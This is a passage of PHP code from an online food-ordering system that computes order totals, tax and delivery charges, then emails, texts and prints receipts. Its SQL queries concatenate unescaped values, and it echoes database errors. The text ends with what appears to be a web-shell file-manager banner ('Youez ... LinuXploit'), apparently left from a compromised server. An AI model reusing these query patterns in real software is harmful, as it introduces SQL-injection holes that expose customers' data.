					$gtotal = $gtotal + $nt[choicee_price];

					$totaltax = $totaltax + ($tax * $nt[choicee_price]);

				}

				if (!empty($nt[choicef])){

					if($nt[choicef_price]>'0.00'){$option_f_price = "$nt[choicef_price]"; $printable_price = "($$nt[choicef_price])";} else {$option_f_price="0.00";}

					$orderdetail .= '<br />' . $nt[choicef];

					$printdetail .= "$nt[choicef]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choicef_price];

					$totaltax = $totaltax + ($tax * $nt[choicef_price]);

				}

				if (!empty($nt[choiceg])){

					if($nt[choiceg_price]>'0.00'){$option_g_price = "$nt[choiceg_price]"; $printable_price = "($$nt[choiceg_price])";} else {$option_g_price="0.00";}

					$orderdetail .= '<br />' . $nt[choiceg];

					$printdetail .= "\$nt[choiceg]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choiceg_price];

					$totaltax = $totaltax + ($tax * $nt[choiceg_price]);

				}

				if (!empty($nt[choiceh])){

					if($nt[choiceh_price]>'0.00'){$option_h_price = "$nt[choiceh_price]"; $printable_price = "($$nt[choiceh_price])";} else {$option_h_price="0.00";}

					$orderdetail .= '<br />' . $nt[choiceh];

					$printdetail .= "$nt[choiceh]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choiceh_price];

					$totaltax = $totaltax + ($tax * $nt[choiceh_price]);

				}

				if (!empty($nt[choicei])){

					if($nt[choicei_price]>'0.00'){$option_i_price = "$nt[choicei_price]"; $printable_price = "($$nt[choicei_price])";} else {$option_i_price="0.00";}

					$orderdetail .= '<br />' . $nt[choicei];

					$printdetail .= "$nt[choicei]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choicei_price];

					$totaltax = $totaltax + ($tax * $nt[choicei_price]);

				}

            if (!empty($nt[size])){  //show size and price for this size if there is a size

               $orderdetail .=  '<td width=100 valign="top"><div align="right"> $';

				   //get price for this size/item since available in multiple sizes

				   $sizeqry = "Select price, carryout_price from itemSize where itemKey = " . $nt[itemNumber] . " AND size = '" . $nt[size] . "'";

				   //echo 'sizeqry=' . $sizeqry ;

					$rtq=mysql_query($sizeqry);

					echo mysql_error();

					if((empty($nt[couponCode]))||($cpntype<>3)){ //show pricing only if no coupon code on this line

						while($ntq=mysql_fetch_array($rtq)){

						  if($_SESSION[order_type]=="carryout" && $ntq[carryout_price]>0){

								$item_price = $ntq[carryout_price];

							} else {

								$item_price = $ntq[price];

							}	

						  $orderdetail .= $nt[qty]*$item_price;

						  $printdetail .= "\n$price_spacing$".$nt[qty]*$item_price ."\n";

						  //$itemtotal = $itemtotal + ($nt[qty]*$ntq[price]);

						  $itemtotal = $itemtotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount]));
						  $linetotal = $nt[qty]*($item_price-$nt[upgrade_discount]);

						  if($nt2[taxable]==1){ //check if this item is marked as taxable

							$taxabletotal = $taxabletotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount])) ;  //add to running total taxable amount
                            $linetax = $linetotal * $taxrate;
                            $totaltax = $totaltax + $linetax;
                            
						  }

						}

					}

            }  else {   //no size selected, only one size available

               if((empty($nt[couponCode]))||($cpntype<>3)){  //show pricing only if no coupon code on this line

					if($_SESSION[order_type]=="carryout" && $nt2[carryout_price]>0){

								$item_price = $nt2[carryout_price];

							} else {

								$item_price = $nt2[itemPrice];

							}

				   $orderdetail .= '<td width=100><div align="right"> $' . $nt[qty]*$item_price;

				   $printdetail .= "\n$price_spacing$".$nt[qty]*$item_price."\n";

				   $itemtotal = $itemtotal + ($nt[qty]*($item_price-$nt[upgrade_discount]));
				   $linetotal = $nt[qty]*($item_price-$nt[upgrade_discount]);

				   if($nt2[taxable]==1){   //check if this item is marked as taxable

							$taxabletotal = $taxabletotal + ($nt[qty]*$item_price-($nt[qty]*$nt[upgrade_discount])) ;  //add to running total taxable amount
                            $linetax = $linetotal * $taxrate;
                            $totaltax = $totaltax + $linetax;
						  }

				}

            }
            $taxrate = $default_tax;
          }

          //end of pull info from menuItem table

            if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing

            include ('includes/db1config.php');

            include ('includes/mysql_connect.php');

            }

		  //skip sauces and/or crusts if appropriate

			if($skip_crusts==1 || $_SESSION['use_multiple_crusts']==0){$crust_clause = " and crust='0' ";} else {$crust_clause = "";}

			if(empty($sauceitemkeys)){$sauceitemkeys="''";}

			if($skip_sauces==1 || $_SESSION['use_multiple_sauces']==0){$sauce_clause = " and itemNumber NOT IN($sauceitemkeys) ";} else {$sauce_clause = "";}	

			

          //check for toppings, crust and sauce for this item

          //$pquery = "Select * from orderItem where orderNumber = '" . $ordernum . "' AND parentLineNum=". $nt[recordKey];

		  $pquery = "Select * from orderItem where orderNumber = '" . $ordernum . "' AND parentLineNum='". $nt[recordKey]. "' $crust_clause $sauce_clause order by crust DESC, halfA DESC, halfB DESC ";

		  

		  

          $rtp=mysql_query($pquery);          // query executed

          echo mysql_error();

          while($ntp=mysql_fetch_array($rtp)){

            $orderdetail .= '<tr><td width=75><td width=400>';

                //$ntp represents orderItem subitems for pizza

               //pull info from menuItem table for current pizza sub-item, crust or sauce

               if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing

            include ('includes/db2config.php');

            include ('includes/mysql_connect.php');

            }

                $query2 ="Select * from menuItem where itemKey=" . $ntp[itemNumber];

                $rt2=mysql_query($query2);          // query executed

                echo mysql_error();

                while($nt2=mysql_fetch_array($rt2)){	//get price, name, etc for current sub-item

					$orderdetail .= ' + ' . $nt2[itemName];

					$printdetail .= " + $nt2[itemName]";
					
					$currentCat = $nt2['categoryKey'];

					if(($ntp[halfA]==0)&&($ntp[halfB]==0)){

					   //do nothing - either a crust, sauce or topping on whole pizza

					}elseif($ntp[halfA]==1){

						$orderdetail .= ' (left side only)';

						$printdetail .= " (left only) ";

						$half=TRUE;

					}elseif($ntp[halfB]==1){

						$orderdetail .= ' (right side only)';

						$printdetail .= " (right only) ";

						$half=TRUE;

					}

						 

					if (!empty($nt[size])){  //show size and price for this size

						$orderdetail .=  '<td width=100> $';

						//get price for this size/item since available in multiple sizes

						$sizeqry = "Select price from itemSize where itemKey = " . $ntp[itemNumber] . " AND size = '" . $nt[size] . "'";

						//echo 'sizeqry: ' . $sizeqry ;

						$rtq=mysql_query($sizeqry);

						echo mysql_error();

						while($ntq=mysql_fetch_array($rtq)){

							$sizeprice = $nt[qty]*$ntq[price];

							//$sizeprice = $ntq[price];

							if(($half==TRUE)&&($half_topping_prices=='1')){

								$sizeprice = $sizeprice * .5;

							}

						}

						if ($sizeprice >0){

							$orderdetail .= number_format($sizeprice, 2, '.', ',');

							$printdetail .= " $".number_format($sizeprice, 2, '.', ',')."\n";

						} else {

							//no size pricing found for this size - use default price

							$sizeprice = $nt[qty]*$nt2[itemPrice];

							if(($half==TRUE)&&($half_topping_prices=='1')){

								$sizeprice = $sizeprice * .5;

							}

							

							//$sizeprice = $nt2[itemPrice];

							$orderdetail .=  number_format($sizeprice, 2, '.', ',');

							if ($sizeprice >0){ //only print price on receipt if greater than 0

								$printdetail .= " $".number_format($sizeprice, 2, '.', ',')."\n";

							}

						}
                        
                        $linetotal = ($nt[qty]*$sizeprice-($nt[qty]*$nt[upgrade_discount]));
                        
						if($nt2[taxable]==1){

							//$taxabletotal = $taxabletotal + ($sizeprice * $nt[qty]) ;
                            $totaltax = $totaltax + ($linetotal * $taxrate);
							$taxabletotal = $taxabletotal + $sizeprice ;

						}

						   //$itemtotal = $itemtotal + ($nt[qty]*$sizeprice);

						$itemtotal = $itemtotal + number_format($sizeprice, 2, '.', ',');

						$sizeprice =0; //clear variable before next item



					}  else {     //no size selected, one size only available

						if(($half==TRUE)&&($half_topping_prices=='1')){

							$sizeprice = number_format(($sizeprice*.5), 2, '.', ',');

								//$orderdetail .= '<tr><td width=100> half size price =' . $sizeprice.' <tr>';

							} else{

								$sizeprice = $nt2[itemPrice];

								//$orderdetail .= '<tr><td width=100> size price =' . $sizeprice.' <tr>';

							}

						$orderdetail .= '<td width=100> $' . number_format(($nt[qty]*$sizeprice), 2, '.', ',');

						$printdetail .= " $".number_format(($nt[qty]*$sizeprice), 2, '.', ',')."\n";

						$linetotal = ($nt[qty]*$sizeprice-($nt[qty]*$nt[upgrade_discount]));

						if($nt2[taxable]==1){

								$taxabletotal = $taxabletotal + ($nt[qty]*$sizeprice);
                                $totaltax = $totaltax + ($linetotal * $taxrate);
						}

						$itemtotal = $itemtotal + ($nt[qty]*$nt2[itemPrice]);

						//$itemtotal = $itemtotal + $sizeprice;

						

						$sizeprice =0; //clear variable before next item

					}

				

				

				

					$half=FALSE;	//reset

				}

          //end of pull info from menuItem table

            }

   }

   

//$ordernote = str_replace("\'", "'", $ordernote);

$orderdetail .= '<tr><td><br>**Notes:<td><br><div align="center">' . stripslashes($ordernote) ;

$orderdetail .= '</div></table>';

$printdetail .= "\nNote:".stripslashes($ordernote)."\n\n";



 if(!empty($menudatabase)){	//select main database for store to access local store settings

    include ('includes/db1config.php');

    include ('includes/mysql_connect.php');

}

             $dquery = "Select deliveryCharge, taxdelivery from storePrefs";

             $dq=mysql_query($dquery);

                     echo mysql_error();

                     while($ntdq=mysql_fetch_array($dq)){

                         if(($ntdq[deliveryCharge] >0)&&($delivery ==1)){ //delivery charge applies & order is for delivery

                               if(!isset($_SESSION['delivery'])){

                               		$delcharge = $ntdq['deliveryCharge'];

							   } else {

						 	   		$delcharge = $_SESSION['delivery'];

							   }

							   

							   //get any additional delivery charge for user's delivery zone

								$query = "select delivery_zone from guestLogin where UserKey='".$userkey."'"; 

								$rt3=mysql_query($query);

								if (mysql_num_rows($rt3) !== 0) {

									while($nt3=mysql_fetch_array($rt3)){

										$zone = $nt3['delivery_zone'];

										$query = "select cost from delivery_zones where zone_number = '$zone'";

										$rt2=mysql_query($query);

										while($nt2=mysql_fetch_array($rt2)){

											$zone_upcharge = $nt2['cost'];

										}

										

									}

								} else {

									$zone_upcharge = 0;

								}

								mysql_close;

								

								$delcharge = $delcharge + $zone_upcharge;

						   		$_SESSION['delivery'] = $delcharge;

						   

                               if(!empty($ntdq[taxdelivery])){    //if delivery charge is taxable, calculate here

                                     $deltax = $delcharge  *  $taxrate ;

                               }

                         }  else {       //order for carryout or no delivery charge applies

                               $delcharge =0;

                               $deltax = 0;

                     }

              }





 $taxprct = ($taxrate * 100);

//add subtotal line

$orderpricing = '<tr><td><table><tr><td width="75%"><div align="right">Sub total<td width=100><div align="right"> $ ' . number_format($itemtotal, 2, '.', ',')  . '</div>';

//add coupon discount or coupon price line

		   if(!empty($coupon)){

		  if(($cpntype==1)||($cpntype==2)||($cpntype==4)){

			if((empty($minimum))||($itemtotal>=$minimum)){

			$orderpricing .= '<tr><td width="75%"><div align="right">Coupon# ' . $coupon . ' discount: <td width=100><div align="right"> -$ ';

			$printdetail .= "Coupon#: $coupon           $$couponprice\n";

			

			 //calculate discount based on coupon type

			 if(($cpntype==1)||($cpntype==4)){

				$taxabletotal = $taxabletotal - $discount;
                $totaltax = $totaltax - $discount;
				$itemtotal = $itemtotal - $discount ;

			 }

			  if(($cpntype==2)){

				$discount = (($discpct*.01) * $itemtotal);

				$itemtotal = $itemtotal - $discount ;

				$taxabletotal = $taxabletotal - ($taxabletotal * ($discpct*.01));
				//$totaltax = $totaltax - 

			 }

			 $orderpricing .= number_format($discount, 2, '.', ',') . '</div>';

			}

		  }

		  if($cpntype==3){

			$orderpricing .= '<tr><td width="75%"><div align="right">Coupon# ' . $coupon . ' price: <td width=100><div align="right"> $ ' . number_format($couponprice, 2, '.', ',')  . '</div>';

			$printdetail .= "Coupon#: $coupon           $$couponprice\n";

			$itemtotal = $itemtotal + $couponprice;

			$taxabletotal = $taxabletotal + $couponprice ;

		  }

	   }

 $taxrate = $default_tax;

 //$totaltax = (($taxabletotal*$taxrate)+$deltax);
 $totaltax = ($totaltax+$deltax);

 $gtotal =  $itemtotal + $totaltax + $delcharge;

 

   //add delivery chg, tax and order total

if($wedeliver==1){$orderpricing .= '<tr><td width="85%"><div align="right">Delivery<td width=100><div align="right"> $ ' . $delcharge  . '</div>';}

$orderpricing .= '<tr><td width="85%"><div align="right">Sales tax (' . number_format($taxprct, 4, '.', ',') . '%)<td width=100><div align="right"> $ ' . number_format($totaltax, 2, '.', ',')  . '</div>';

//if($tipamount>0){

		$orderpricing .= '<tr><td width="85%"><div align="right">Tip<td width=100><div align="right"> $' . number_format($tipamount, 2, '.', ',') . '</div>';

		$printdetail .= "Online tip: $".number_format($tipamount, 2, '.', ',')."\n";

		$gtotal = $gtotal + $tipamount;

//	}



$orderpricing .= '<tr><td width="85%"><div align="right">Order total<td width=100><div align="right"> $' . number_format($gtotal, 2, '.', ',') . '</table>';

//<tr><td width="85%"><div align="right">Order total<td width=100><div align="right"> $' . $ordertotal  . '</table>';

$printdetail .= "Order total:           $".number_format($gtotal, 2, '.', ',')."\n";



$paymentinfo ='<tr><td><table><tr><td width=500><div align="left">Payment: ' . $payment;

if ($payment =="card"){		

		if(($_SESSION['linkpos']==false)||(($_SESSION['linkpos']==true)&&($approved=='1'))){

			 $paymentinfo .= ' ending in: ' . $cardlast4 ;

			 $paymentinfo .= '<br />Card holder: ' . $_SESSION['cardholder'];

			 $paymentinfo .= '<br />Status: PAID';

			 $printdetail .= "cc: -$cardlast4\n" .$_SESSION['cardholder']."\n             Status: PAID\n\n" ;		

		 } else {			

			$faxpymtinfo = $paymentinfo;

			$printdetail .= "cc: -$cardlast4\n" .$_SESSION['cardholder']."\n             Status: PAID\n\n" ;		

		 }

		 //$paymentinfo .= '<br />Card holder: ' . $cardholder . '<br />' . $cardtype . ' ending in -' . $cardlast4 . '<br />exp:' .  $cardexp .'<br />Billing zip: ' . $cardzip;

		 //$faxpymtinfo = $paymentinfo . '<br />' . $cardtype . ' #' . $fullcardnum . '<br />exp:' .  $cardexp ;

		 //$faxpymtinfo = $paymentinfo . '<br />' . $cardtype . ' ending in: ' . $cardlast4 ;

     }elseif($payment =="paypal"){

		 	$printdetail .= "PayPal\n" ."\n            Status: PAID\n" ;

     } else {		$faxpymtinfo = $paymentinfo;

	 	$printdetail .= "Cash\n" .$_SESSION['cardholder']."\n            Status: UNPAID\n" ;

		 

	 }

$paymentinfo .='</div><td width=100><div align="right">$' . number_format($gtotal, 2, '.', ',') . '</table>';

$faxpymtinfo .='</div><td width=100><div align="right">$' . number_format($gtotal, 2, '.', ',') . '</table>';

$printdetail .= "Delivery:                    $".number_format($_SESSION['delivery'], 2, '.', ',')."\nTax:                         $".number_format($totaltax, 2, '.', ',')."\nTotal:                       $".number_format($gtotal, 2, '.', ',')."\n";



$orderfooter = '<tr><td><table border=1><tr><td><font size=5>' . $title . '</font><td width=400><div align="center">Thanks for using the online ordering system. <br>Questions? Email us: '.$support_email.'.</div></table>

</table>

<br><br><img src="'.$logo_url.'" /> <br> '.$receipt_url.'</div>';



$guestfooter = '<tr><td><table border=1><tr><td><font size=5>' . $title . '</font><td width=400><div align="center">Thanks for using our online ordering system. <br>Questions? Email us: <a href="mailto:' . $storeemail .'">' . $storeemail . ' </a></div></table>

</table>

<br><br><img src="'.$logo_url.'" /> <br> '.$receipt_url.'</div>';



 //this html will be used for fax and email notification to store

$orderhtml = $orderheader . $orderdetail . $orderpricing . $paymentinfo . $orderfooter;

 //this html will be used to send to customer for order confirmation

$guesthtml = $guestheader . $orderdetail . $orderpricing . $paymentinfo . $guestfooter;

 //this html will be used to send fax notification to store

$faxhtml = $orderheader . $orderdetail . $orderpricing . $faxpymtinfo . $orderfooter; ;

  //email order to store email list

 $query = "Select orderEmail1, orderEmail2, text_notice_phone from storePrefs";

 $rt=mysql_query($query);          // query executed

		echo mysql_error();

	while($nt=mysql_fetch_array($rt)){

     $firstemail = $nt[orderEmail1];

     $secondemail = $nt[orderEmail2];	 

     $text_notice = $nt[text_notice_phone];

  }

  //if test mode, send to ourselves, not to store

  if($_SESSION['environment']=="test"){

	   $firstemail = "apicton@tastesystems.com";

	   $secondemail = "apicton@pilotwebsolutions.com";

  }

  if (!empty($firstemail)){    //if store has email address, send confirmation

       //$notifyemail = $firstemail;

       //include('emailnotify.php');

        $body = "<div align=center>Please do not reply to this email. It was sent from an automated system and you will not receive a response.</div><br /><br />" . $orderhtml;

		   if (!empty($secondemail)){$cc = $secondemail;} else {$cc= "";}

		   $email_result = send_mail($firstemail, $from_address, $from_name, $bcc, $cc, $store_subject, $body);

		   if($email_result=="error"){

		   		$store_email_error = 1;	

		   }



  }



//send sms notice to admin if subscribed and entered		$query2 = "Select text_notice_subscribed from admin_options";		$rt2=mysql_query($query2);          // query executed		while($nt2=mysql_fetch_array($rt2)){			if($nt2[text_notice_subscribed]=='1' && $text_notice>""){				include('send-order-sms.php');			}		}		

 if (!empty($guestemail)){    //if guest has email address, send confirmation

		   //include('emailconf.php');

		$body = "<div align=center>Please do not reply to this email. It was sent from an automated system and you will not receive a response.</div><br /><br />" . $guesthtml;

		$cc = "";

	  	$email_result = send_mail($guestemail, $from_address, $from_name, $bcc, $cc, $guest_subject, $body);

		if($email_result=="error"){

		   		$guest_email_error = 1;	

		   }

	  }

  

  	    //$text_notice = "6128504695";

		//$text_notice2 = "6517343352";

		//$text_notice3 = "6123537594";

		//$text_notice4 = "6128504695";

		//$text_notice5 = "6517343352";

		



		//send sms notice to admin if subscribed and entered

		$query2 = "Select text_notice_enabled from storePrefs";

		$rt2=mysql_query($query2);          // query executed

		while($nt2=mysql_fetch_array($rt2)){

			if($nt2[text_notice_enabled]=='1' && $text_notice>""){

				include('sms_functions.php');

				

				include('send-order-sms.php');

				sleep(1);

				if($text_notice2>""){

					$text_notice = $text_notice2;

					include('send-order-sms.php');

					sleep(1);

				}

				

				if($text_notice3>""){

					$text_notice = $text_notice3;

					include('send-order-sms.php');

					sleep(1);

				}

				if($text_notice4>""){

					$text_notice = $text_notice4;

					include('send-order-sms.php');

					sleep(1);

				}

				if($text_notice5>""){

					$text_notice = $text_notice5;

					include('send-order-sms.php');

					sleep(1);

				}

			}

		}

// if (mail($to, $subject, $body, $headers )) {

   echo '<div align="center"><br><br>Thank you for your order! Your order number is: ' . $ordernum . ' <br><br>You should receive an email confirmation shortly.</div>';





  //} else {

   //echo '<div align="center"><br><br>We apologize for the inconvenience, but there was an error transmitting your order. Please call us at ' . include('phone.php') . ' to confirm that your order was received. <br><br>You should receive an email confirmation shortly.</div>';



 // }

  

  if ($faxorders==1){

             include('sendfax.php');

             //echo ' order faxed to: ' . $faxnumber ;           //(for testing)

        }



  //empty cart

  $query = 'Delete FROM cart where customerID = "' .  $userkey . '"';

  

  mysql_query($query);

   echo mysql_error();

   

  //reset user switches (delivery/carryout, payment method, etc)

   $query = 'Update guestLogin set upsellOffered=0, pickup=0, schedule="" where UserKey = "' .  $userkey . '"';

     mysql_query($query);

   echo mysql_error();



if($printdetail<>"" || $printheader<>""){

		

	//echo $printheader .  '<br>'.$printdetail;

	

	//enable the next line when credit card tips are available

	//$printtext =  $printheader .$printdetail."\n\n         Tip:   ________________________\n\n         Total: ________________________\n\n\nSign: ______________________________\n\n\n\n\n\n";

	$printtext =  $printheader .$printdetail."\n\n\n\n\nSign: ______________________________\n\n\n\n\n\n";

	

	//$file = fopen("test.txt","w");

	

	

	

	//save receipt to order in orders table - only save the single copy version

	$qry = "update orders set receipt_text = '".mysql_escape_string($printtext)."' where orderNumber ='$ordernum' and UserKey='".$_SESSION['UserKey']."'";

	mysql_query($qry);

	

	$printtext = $printtext . "\n\n \x1b\x64\x02 \n\n " . str_replace("NEW ORDER", "CUSTOMER COPY", $printtext);

	//add extra blank lines and cut command - not cutting automatically after changing content type

	$printtext = $printtext . "\n\n \x1b\x64\x02 \n\n";

	//buzzer command:

	$printtext = $printtext . "\x07";

	

	if($_SESSION['cloud_print']==1){ //must enable in admin_options table

		//if print_queue doesn't exist, create it now. 

		$directoryName = 'print_queue/archive/';

		if(!is_dir($directoryName)){

		    mkdir($directoryName, 0755, true);

		}

		//save order receipt to print_queue

		$target = "print_queue/".$ordernum.".txt";

		$file = fopen($target,"w");

		fwrite($file,$printtext);

		fclose($file);		

	}

	

}



$_SESSION['order_type']="unknown"; //reset so it prompts for each order

$_SESSION['favorite_name']="";



 ?>

 <!--<div align="center"><br/><br/>Order easier next time:

 <br><a style="cursor:hand" onClick="window.external.addfavorite('<?php //include('webaddress.php');?>', document.title);">

 <img width=16 height=16 border=0 src='images/star.gif'> <u> Add to Favorites</u></a>  </div> -->

 

Youez - 2016 - github.com/yon3zu
LinuXploit